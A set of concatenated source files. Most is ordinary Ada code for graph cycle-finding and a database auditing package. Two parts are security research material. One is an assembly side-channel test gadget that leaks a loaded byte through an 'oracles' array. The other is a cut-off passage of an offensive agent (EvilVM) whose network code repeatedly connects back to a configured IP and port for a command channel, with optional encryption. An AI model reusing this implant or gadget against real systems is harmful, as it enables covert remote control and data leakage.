end loop Find_Next_Vertex;
exit Path_Extension when not Next_Vertex_Found;
end loop Path_Extension;
-- EC3 Circuit Confirmation
for Edge of G (P (K).Vertex) loop
if Edge.Vertex_B = P (1).Vertex then
P (1).Edges := +(Edge.ID, Edge.Data);
if Graph.Multigraph then
Add_Alternate_Edges (P (1 .. K));
end if;
Result.Append (P (1 .. K));
exit;
end if;
end loop;
-- EC4 Vertex Closure
exit Explore_Vertex when K = 1;
H (P (K).Vertex) := (others => Invalid_Vertex);
for M in H (P (K - 1).Vertex)'Range loop
if H (P (K - 1).Vertex)(M) = Invalid_Vertex then
H (P (K - 1).Vertex)(M) := P (K).Vertex;
P (K) := (Invalid_Vertex, Edge_Lists.Empty_List);
exit;
end if;
end loop;
K := K - 1;
end loop Explore_Vertex;
-- EC5 Advance Initial Index
exit All_Initial_Vertices when P (1).Vertex = Graph.Vertices.Last_Index;
P (1) := (P (1).Vertex + 1, Edge_Lists.Empty_List);
pragma Assert (K = 1);
H := (others => (others => Invalid_Vertex));
end loop All_Initial_Vertices;
-- EC6 Terminate
return Result;
end Find_Cycles_Tiernan;
function Find_Cycles (Graph : in Gen_Graphs.Graph) return Path_Arrays.Vector
is
-- Implements Circuit-Finding Algorithm from [3]
use all type Ada.Containers.Count_Type;
pragma Warnings (Off, """Edited_Graph"" is not modified, could be declared constant");
Edited_Graph : Gen_Graphs.Graph := Graph;
Result : Path_Arrays.Vector;
A_K : Adjacency_Structures.Vector;
B : Adjacency_Structures.Vector;
Blocked : array (Graph.Vertices.First_Index .. Graph.Vertices.Last_Index) of Boolean := (others => False);
Stack : Vertex_Stacks.Stack;
S : Vertex_Index := Graph.Vertices.First_Index;
Dummy : Boolean;
pragma Unreferenced (Dummy);
function Circuit (V : in Vertex_Index) return Boolean
is
F : Boolean := False;
procedure Unblock (U : in Vertex_Index)
is begin
Blocked (U) := False;
declare
use Vertex_Lists;
Cur : Cursor := B (U).First;
Temp : Cursor;
W : Vertex_Index;
begin
loop
exit when not Has_Element (Cur);
W := Element (Cur);
Temp := Cur;
Next (Cur);
B (U).Delete (Temp);
if Blocked (W) then
Unblock (W);
end if;
end loop;
end;
end Unblock;
procedure Add_Result
is
Cycle : Path (1 .. Integer (Stack.Depth));
begin
for I in 1 .. Stack.Depth loop
Cycle (Integer (Stack.Depth - I + 1)) := (Stack.Peek (I), Edge_Lists.Empty_List);
-- We add the edge info later, after finding all the cycles.
end loop;
Result.Append (Cycle);
if Trace > 0 then
Ada.Text_IO.Put_Line ("cycle " & Image (Cycle));
end if;
end Add_Result;
begin
if Trace > 0 then
Ada.Text_IO.Put_Line ("circuit start" & V'Image);
end if;
Stack.Push (V);
Blocked (V) := True;
if V in A_K.First_Index .. A_K.Last_Index then
for W of A_K (V) loop
if W = S then
Add_Result;
F := True;
elsif not Blocked (W) then
if Circuit (W) then
F := True;
end if;
end if;
end loop;
end if;
if F then
Unblock (V);
else
if V in A_K.First_Index .. A_K.Last_Index then
for W of A_K (V) loop
if (for all V1 of B (W) => V /= V1) then
B (W).Append (V);
end if;
end loop;
end if;
end if;
Stack.Pop;
if Trace > 0 then
Ada.Text_IO.Put_Line ("circuit finish" & V'Image);
end if;
return F;
end Circuit;
begin
-- [3] restricts the graph to not have loops (edge v-v) or multiple
-- edges between two nodes. So we first delete any such edges.
Delete_Loops_Multigraph :
for V in Edited_Graph.Vertices.First_Index .. Edited_Graph.Vertices.Last_Index loop
declare
use Edge_Node_Lists;
Cur : Cursor := Edited_Graph.Vertices (V).First;
Temp : Cursor;
Found_Loop : Boolean := False;
begin
loop
exit when not Has_Element (Cur);
if Element (Cur).Vertex_B = V then
if not Found_Loop then
-- This is a cycle we want in the result. Edge data is added to all
-- cycles later.
Result.Append (Path'(1 => (V, Edge_Lists.Empty_List)));
Found_Loop := True;
end if;
Temp := Cur;
Next (Cur);
Edited_Graph.Vertices (V).Delete (Temp);
elsif Element (Cur).Multigraph then
-- These will be added back from Graph after we find all cycles.
Temp := Cur;
Next (Cur);
Edited_Graph.Vertices (V).Delete (Temp);
else
Next (Cur);
end if;
end loop;
end;
end loop Delete_Loops_Multigraph;
B.Set_First_Last (Graph.Vertices.First_Index, Graph.Vertices.Last_Index);
-- Start of body of Circuit-Finding Algorithm from [3]
loop
exit when S = Graph.Vertices.Last_Index;
declare
use Component_Lists;
Subgraph : Adjacency_Structures.Vector;
Components : Component_Lists.List;
Cur : Component_Lists.Cursor;
Least_Vertex_Cur : Component_Lists.Cursor;
Least_Vertex_V : Vertex_Index := Vertex_Index'Last;
function Delete_Edges (Edges : in Edge_Node_Lists.List) return Vertex_Lists.List
is begin
return Result : Vertex_Lists.List do
for Edge of Edges loop
if Edge.Vertex_B >= S then
Result.Append (Edge.Vertex_B);
end if;
end loop;
end return;
end Delete_Edges;
begin
Subgraph.Set_First_Last (S, Edited_Graph.Vertices.Last_Index);
for V in S .. Edited_Graph.Vertices.Last_Index loop
Subgraph (V) := Delete_Edges (Edited_Graph.Vertices (V));
end loop;
Components := Strongly_Connected_Components (Subgraph, Non_Trivial_Only => True);
Cur := Components.First;
loop
exit when not Has_Element (Cur);
if Element (Cur).Length > 1 then
declare
Comp : Vertex_Lists.List renames Components.Constant_Reference (Cur);
begin
for W of Comp loop
if W < Least_Vertex_V then
Least_Vertex_Cur := Cur;
Least_Vertex_V := W;
end if;
end loop;
end;
end if;
Next (Cur);
end loop;
A_K.Clear;
if Has_Element (Least_Vertex_Cur) then
declare
Component : Vertex_Lists.List renames Components (Least_Vertex_Cur);
Min : Vertex_Index := Vertex_Index'Last;
Max : Vertex_Index := Vertex_Index'First;
begin
if Trace > 0 then
Ada.Text_IO.Put_Line ("strong component " & Least_Vertex_V'Image);
Ada.Text_IO.Put_Line (Image (Component));
end if;
for V of Component loop
if Min > V then
Min := V;
end if;
if Max < V then
Max := V;
end if;
end loop;
A_K.Set_First_Last (Min, Max);
for V of Component loop
for Edge of Edited_Graph.Vertices (V) loop
A_K (V).Append (Edge.Vertex_B);
end loop;
end loop;
end;
end if;
end;
if A_K.Length > 0 then
S := A_K.First_Index;
for I in A_K.First_Index .. A_K.Last_Index loop
Blocked (I) := False;
B (I).Clear;
end loop;
Dummy := Circuit (S);
S := S + 1;
else
S := Graph.Vertices.Last_Index;
end if;
end loop;
-- Add edge data.
for Cycle of Result loop
for I in Cycle'First .. Cycle'Last loop
declare
Prev_I : constant Positive := (if I = Cycle'First then Cycle'Last else I - 1);
begin
for Edge of Graph.Vertices (Cycle (Prev_I).Vertex) loop
if Cycle (I).Vertex = Edge.Vertex_B then
Cycle (I).Edges.Append ((Edge.ID, Edge.Data));
end if;
end loop;
end;
end loop;
end loop;
return Result;
end Find_Cycles;
function Loops (Graph : in Gen_Graphs.Graph) return Vertex_Lists.List
is begin
return Result : Vertex_Lists.List do
for V in Graph.Vertices.First_Index .. Graph.Vertices.Last_Index loop
for Edge of Graph.Vertices (V) loop
if V = Edge.Vertex_B then
Result.Append (V);
exit;
end if;
end loop;
end loop;
end return;
end Loops;
function To_Adjancency (Graph : in Gen_Graphs.Graph) return Adjacency_Structures.Vector
is
function To_Vertex_List (Edges : in Edge_Node_Lists.List) return Vertex_Lists.List
is begin
return Result : Vertex_Lists.List do
for Edge of Edges loop
Result.Append (Edge.Vertex_B);
end loop;
end return;
end To_Vertex_List;
begin
return Result : Adjacency_Structures.Vector do
Result.Set_First_Last (Graph.Vertices.First_Index, Graph.Vertices.Last_Index);
for V in Graph.Vertices.First_Index .. Graph.Vertices.Last_Index loop
Result (V) := To_Vertex_List (Graph.Vertices (V));
end loop;
end return;
end To_Adjancency;
function Strongly_Connected_Components
(Graph : in Adjacency_Structures.Vector;
Non_Trivial_Only : in Boolean := False)
return Component_Lists.List
is
-- Implements [4] section 4.
Low_Link : array (Graph.First_Index .. Graph.Last_Index) of Vertex_Index'Base := (others => Invalid_Vertex);
Number : array (Graph.First_Index .. Graph.Last_Index) of Vertex_Index'Base := (others => Invalid_Vertex);
-- Number is the order visited in the depth-first search.
Points : Vertex_Stacks.Stack;
I : Vertex_Index'Base := Graph.First_Index - 1;
Result : Component_Lists.List;
procedure Strong_Connect (V : in Vertex_Index)
is begin
I := I + 1;
Number (V) := I;
Low_Link (V) := I;
Points.Push (V);
for W of Graph (V) loop
if Number (W) = Invalid_Vertex then
-- (v, w) is a tree arc
Strong_Connect (W);
Low_Link (V) := Vertex_Index'Min (Low_Link (V), Low_Link (W));
elsif Number (W) < Number (V) then
-- (v, w) is a frond or cross-link
if (for some P of Points => P = W) then
Low_Link (V) := Vertex_Index'Min (Low_Link (V), Low_Link (W));
end if;
end if;
end loop;
if Low_Link (V) = Number (V) then
-- v is the root of a component
declare
use all type Ada.Containers.Count_Type;
Component : Vertex_Lists.List;
begin
while (not Points.Is_Empty) and then Number (Points.Peek) >= Number (V) loop
Component.Append (Points.Pop);
end loop;
if (not Non_Trivial_Only) or Component.Length > 1 then
Result.Append (Component);
end if;
end;
end if;
end Strong_Connect;
begin
for W in Graph.First_Index .. Graph.Last_Index loop
if Number (W) = Invalid_Vertex then
Strong_Connect (W);
end if;
end loop;
return Result;
end Strongly_Connected_Components;
end SAL.Gen_Graphs;
|
src/ado-audits.ads
|
My-Colaborations/ada-ado
| 0 |
18291
|
-----------------------------------------------------------------------
-- ado-audits -- Auditing support
-- Copyright (C) 2018, 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Util.Beans.Objects;
with ADO.Configs;
with ADO.Objects;
with ADO.Schemas;
with ADO.Sessions;
package ADO.Audits is
subtype Object_Key_Type is ADO.Objects.Object_Key_Type;
subtype Class_Mapping_Access is ADO.Schemas.Class_Mapping_Access;
subtype Column_Index is ADO.Schemas.Column_Index;
package UBO renames Util.Beans.Objects;
type Audit_Index is new Positive range 1 .. ADO.Configs.MAX_COLUMNS;
type Column_Index_Array is array (Audit_Index range <>) of Column_Index;
type Auditable_Mapping (Of_Class : ADO.Schemas.Class_Mapping_Access;
Count : Audit_Index)
is tagged limited record
Members : Column_Index_Array (1 .. Count);
end record;
type Auditable_Mapping_Access is access constant Auditable_Mapping'Class;
-- The `Audit_Info` describes a column field that is modified.
type Audit_Info is limited record
Field : Column_Index := 0;
Old_Value : UBO.Object;
New_Value : UBO.Object;
end record;
type Audit_Info_Index is new Positive range 1 .. ADO.Configs.MAX_COLUMNS;
type Audit_Array is array (Audit_Info_Index range <>) of Audit_Info;
-- The `Auditable_Object_Record` is the root type of any auditable database record.
-- It inherit from the `Object_Record` and adds auditing support by defining the
-- database column fields which can be audited. When a field is modified, it holds
-- the audit information that tracks the old and new values.
type Auditable_Object_Record (Key_Type : Object_Key_Type;
Of_Class : Class_Mapping_Access;
With_Audit : Auditable_Mapping_Access) is abstract
new ADO.Objects.Object_Record with private;
-- Release the object.
overriding
procedure Finalize (Object : in out Auditable_Object_Record);
-- Record an audit information for a field.
procedure Audit_Field (Object : in out Auditable_Object_Record;
Field : in ADO.Schemas.Column_Index;
Old_Value : in UBO.Object;
New_Value : in UBO.Object);
-- The `Audit_Manager` is the interface of the audit manager component that is responsible
-- for saving the audit information in the database.
type Audit_Manager is limited interface;
type Audit_Manager_Access is access all Audit_Manager'Class;
-- Save the audit changes in the database.
procedure Save (Manager : in out Audit_Manager;
Session : in out ADO.Sessions.Master_Session'Class;
Object : in Auditable_Object_Record'Class;
Changes : in Audit_Array) is abstract;
procedure Save (Object : in out Auditable_Object_Record'Class;
Session : in out ADO.Sessions.Master_Session'Class);
-- Set the object field to the new value in `Into`. If the new value is identical,
-- the operation does nothing. Otherwise, the new value `Value` is copied
-- to `Into` and the field identified by `Field` is marked as modified on
-- the object. The `Set_Field_XXX` procedures are used by the Dynamo generated
-- code for the implementation of Set procedures.
procedure Set_Field_Unbounded_String (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Ada.Strings.Unbounded.Unbounded_String;
Value : in Ada.Strings.Unbounded.Unbounded_String);
procedure Set_Field_String (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Ada.Strings.Unbounded.Unbounded_String;
Value : in String);
procedure Set_Field_String (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Nullable_String;
Value : in String);
procedure Set_Field_String (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Nullable_String;
Value : in ADO.Nullable_String);
procedure Set_Field_Time (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Ada.Calendar.Time;
Value : in Ada.Calendar.Time);
procedure Set_Field_Time (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Nullable_Time;
Value : in ADO.Nullable_Time);
procedure Set_Field_Integer (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Integer;
Value : in Integer);
procedure Set_Field_Integer (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Nullable_Integer;
Value : in ADO.Nullable_Integer);
procedure Set_Field_Natural (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Natural;
Value : in Natural);
procedure Set_Field_Positive (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Positive;
Value : in Positive);
procedure Set_Field_Boolean (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Boolean;
Value : in Boolean);
procedure Set_Field_Float (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Float;
Value : in Float);
procedure Set_Field_Long_Float (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out Long_Float;
Value : in Long_Float);
procedure Set_Field_Object (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Objects.Object_Ref'Class;
Value : in ADO.Objects.Object_Ref'Class);
procedure Set_Field_Identifier (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Identifier;
Value : in ADO.Identifier);
procedure Set_Field_Entity_Type (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Entity_Type;
Value : in ADO.Entity_Type);
procedure Set_Field_Entity_Type (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out ADO.Nullable_Entity_Type;
Value : in ADO.Nullable_Entity_Type);
procedure Set_Field_Key_Value (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Value : in ADO.Identifier);
procedure Set_Field_Key_Value (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Value : in String);
procedure Set_Field_Key_Value (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Value : in Ada.Strings.Unbounded.Unbounded_String);
generic
type T is private;
with function To_Object (Value : in T) return UBO.Object;
procedure Set_Field_Operation (Object : in out Auditable_Object_Record'Class;
Field : in Column_Index;
Into : in out T;
Value : in T);
private
type Audit_Array_Access is access all Audit_Array;
type Auditable_Object_Record (Key_Type : Object_Key_Type;
Of_Class : Class_Mapping_Access;
With_Audit : Auditable_Mapping_Access) is abstract
new ADO.Objects.Object_Record (Key_Type => Key_Type, Of_Class => Of_Class) with record
Audits : Audit_Array_Access;
end record;
end ADO.Audits;
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1391.asm
|
ljhsiun2/medusa
| 9 |
244049
|
<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x113f7, %rax
nop
nop
nop
nop
inc %r12
and $0xffffffffffffffc0, %rax
vmovaps (%rax), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rbx
nop
nop
nop
nop
sub $4265, %r13
lea addresses_WT_ht+0x10a7, %rsi
lea addresses_WT_ht+0x2877, %rdi
xor $33743, %rbp
mov $123, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $61289, %rbx
lea addresses_normal_ht+0xe1e7, %r13
clflush (%r13)
nop
nop
add $575, %rbx
mov $0x6162636465666768, %rax
movq %rax, %xmm5
movups %xmm5, (%r13)
nop
nop
nop
nop
dec %rbx
lea addresses_WT_ht+0x1abf7, %rsi
lea addresses_D_ht+0x127f7, %rdi
xor %r13, %r13
mov $102, %rcx
rep movsb
cmp %rbp, %rbp
lea addresses_WC_ht+0xb9f7, %rcx
nop
nop
nop
nop
nop
dec %r12
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rbp
xor %rsi, %rsi
lea addresses_WT_ht+0x147d1, %rdi
nop
dec %rsi
mov (%rdi), %cx
nop
nop
nop
nop
nop
sub $16673, %rbp
lea addresses_WC_ht+0x143f7, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
cmp $15724, %rbp
mov (%rbx), %rdi
nop
and %rbx, %rbx
lea addresses_D_ht+0xc3f7, %r13
nop
nop
xor $8684, %rsi
mov $0x6162636465666768, %rax
movq %rax, %xmm6
vmovups %ymm6, (%r13)
nop
nop
nop
and %r13, %r13
lea addresses_normal_ht+0x1d3f7, %rax
sub %rbx, %rbx
movb $0x61, (%rax)
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x7b07, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %rcx, %rcx
movb $0x61, (%rdi)
cmp %r13, %r13
lea addresses_normal_ht+0x18ef3, %rdi
nop
add %rbp, %rbp
movb $0x61, (%rdi)
nop
nop
dec %rax
lea addresses_D_ht+0x13bf7, %rbx
nop
nop
nop
nop
nop
add %rax, %rax
mov $0x6162636465666768, %rcx
movq %rcx, (%rbx)
nop
nop
nop
xor $25212, %rcx
lea addresses_WT_ht+0xc70b, %rbx
xor $3040, %r13
vmovups (%rbx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r12
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x1c497, %rbp
nop
nop
nop
nop
and $42310, %rbx
mov $0x6162636465666768, %r13
movq %r13, (%rbp)
dec %r12
lea addresses_UC_ht+0xfb7, %rsi
lea addresses_A_ht+0xc70f, %rdi
nop
cmp $64204, %rax
mov $95, %rcx
rep movsl
nop
nop
nop
sub %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rdi
push %rsi
// Store
lea addresses_PSE+0x13177, %r10
clflush (%r10)
nop
and %rax, %rax
movl $0x51525354, (%r10)
nop
sub $47727, %rsi
// Faulty Load
lea addresses_RW+0x8bf7, %r12
nop
and $45394, %rdi
movntdqa (%r12), %xmm4
vpextrq $0, %xmm4, %rax
lea oracles, %r11
and $0xff, %rax
shlq $12, %rax
mov (%r11,%rax,1), %rax
pop %rsi
pop %rdi
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 11, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
agent/io/net.asm
|
jephthai/EvilVM
| 141 |
164174
|
<reponame>jephthai/EvilVM
;;; Optionally encrypt (does add size to payload, so is optional)
%ifdef ADDCRYPTO
%ifndef INKEY
%define INKEY <KEY>`
%endif
%ifndef OUTKEY
%define OUTKEY <KEY>`
%endif
%endif
;;; TCP transport options configured here
%ifndef CONNECTWAIT
%define CONNECTWAIT 1000
%endif
%ifndef IPADDR
%define IPADDR 127,0,0,1
%endif
%ifndef PORT
%ifdef ADDCRYPTO
%define PORT 1922
%else
%define PORT 1919
%endif
%endif
start_def ASM, engine, "engine"
pushthing 2 ; 2 is the network engine
end_def engine
start_def ASM, initio, "initio"
mov rbp, rsp
and rsp, -16 ; align stack
sub rsp, 0x20
call .b
.a: db "ws2_32.dll", 0
.a1: db "WSAStartup", 0
.a2: db "socket", 0
.a3: db "connect", 0
.a4: db "send", 0
.a5: db "recv", 0
.a6: db "ioctlsocket", 0
.b: pop rbx
lea rcx, [rbx]
call W32_LoadLibraryA
AddGlobal G_WINSOCK, rax
mov rsi, W32_GetProcAddress
mov rdi, rax
GetProcAddress code_initio.a1 - code_initio.a, G_WSASTARTUP
GetProcAddress code_initio.a2 - code_initio.a, G_WSOCKET
GetProcAddress code_initio.a3 - code_initio.a, G_WCONNECT
GetProcAddress code_initio.a4 - code_initio.a, G_WSEND
GetProcAddress code_initio.a5 - code_initio.a, G_WRECV
GetProcAddress code_initio.a6 - code_initio.a, G_IOCTL
;; initialize networking
mov ecx, 0x0202
mov rdx, G_HERE
call G_WSASTARTUP
;; create socket
mov ecx, 2
mov edx, 1
mov r8, 6
call G_WSOCKET
AddGlobal G_SOCK, rax
;; create address record, connect to port
.lp: mov rcx, CONNECTWAIT ; wait one second between attempts
call W32_Sleep ;
mov rcx, G_SOCK
mov r8, 16
lea rdx, [ rel $ + 9 ]
jmp .conn
db 2, 0, ; AF_INET
db (PORT >> 8) ; port, high byte
db (PORT & 0xff) ; port, low byte
db IPADDR ; target IP address
dq 0 ; padding
.conn: call G_WCONNECT ; connect to port
and rax, rax ; loop until connection is successful
jnz .lp ; ...
;;; ------------------------------------------------------------------------
;;; Optional crypto setup code -- we use two keys, one for input and
;;; one for output, and will need to stage blocks through a region
;;; of memory for encryption when sending large amounts of data with
;;; the 'type' word.
;;; ------------------------------------------------------------------------
%ifdef ADDCRYPTO
xor ecx, ecx ; let kernel choose address
mov edx, 16384 ; buffer space for encrypting outbound blocks
mov r8, 0x3000 ; reserve and commit space
mov r9, 4 ; conservative PAGE_READWRITE permissions
call W32_VirtualAlloc ; allocate space
AddGlobal G_CRYPTOBUF, rax ; save it here
AddGlobal G_INSTATE, rax ; starts with input crypto state
add rax, 512 ; next is outstate
AddGlobal G_OUTSTATE, rax ; ...
add rax, 512 ; next is scratch space for encrypting blocks
AddGlobal G_CRYPTOPAD, rax ; ...
InlineString INKEY, rax, rcx ; key for input stream
pushthing rax ; address of key
pushthing rcx ; length of key
pushthing G_INSTATE ; create crypto state block
call code_cryptinit ; ...
InlineString OUTKEY, rax, rcx ; key for output stream
pushthing rax ; address of key
pushthing rcx ; length of key
pushthing G_OUTSTATE ; create crypto state block
call code_cryptinit ; ...
%endif
mov rsp, rbp
end_def initio
start_def ASM, c2sock, "c2sock"
pushthing G_SOCK
end_def c2sock
start_def ASM, echooff, "-echo"
end_def echooff
start_def ASM, echoon, "+echo"
end_def echoon
start_def ASM, setecho, "!echo"
popthing QWORD G_ECHO
end_def setecho
start_def ASM, emit, "emit"
%ifdef ADDCRYPTO
pushthing G_OUTSTATE
call code_drip
call code_xor
%endif
push rcx
push rdi
mov rcx, G_SOCK
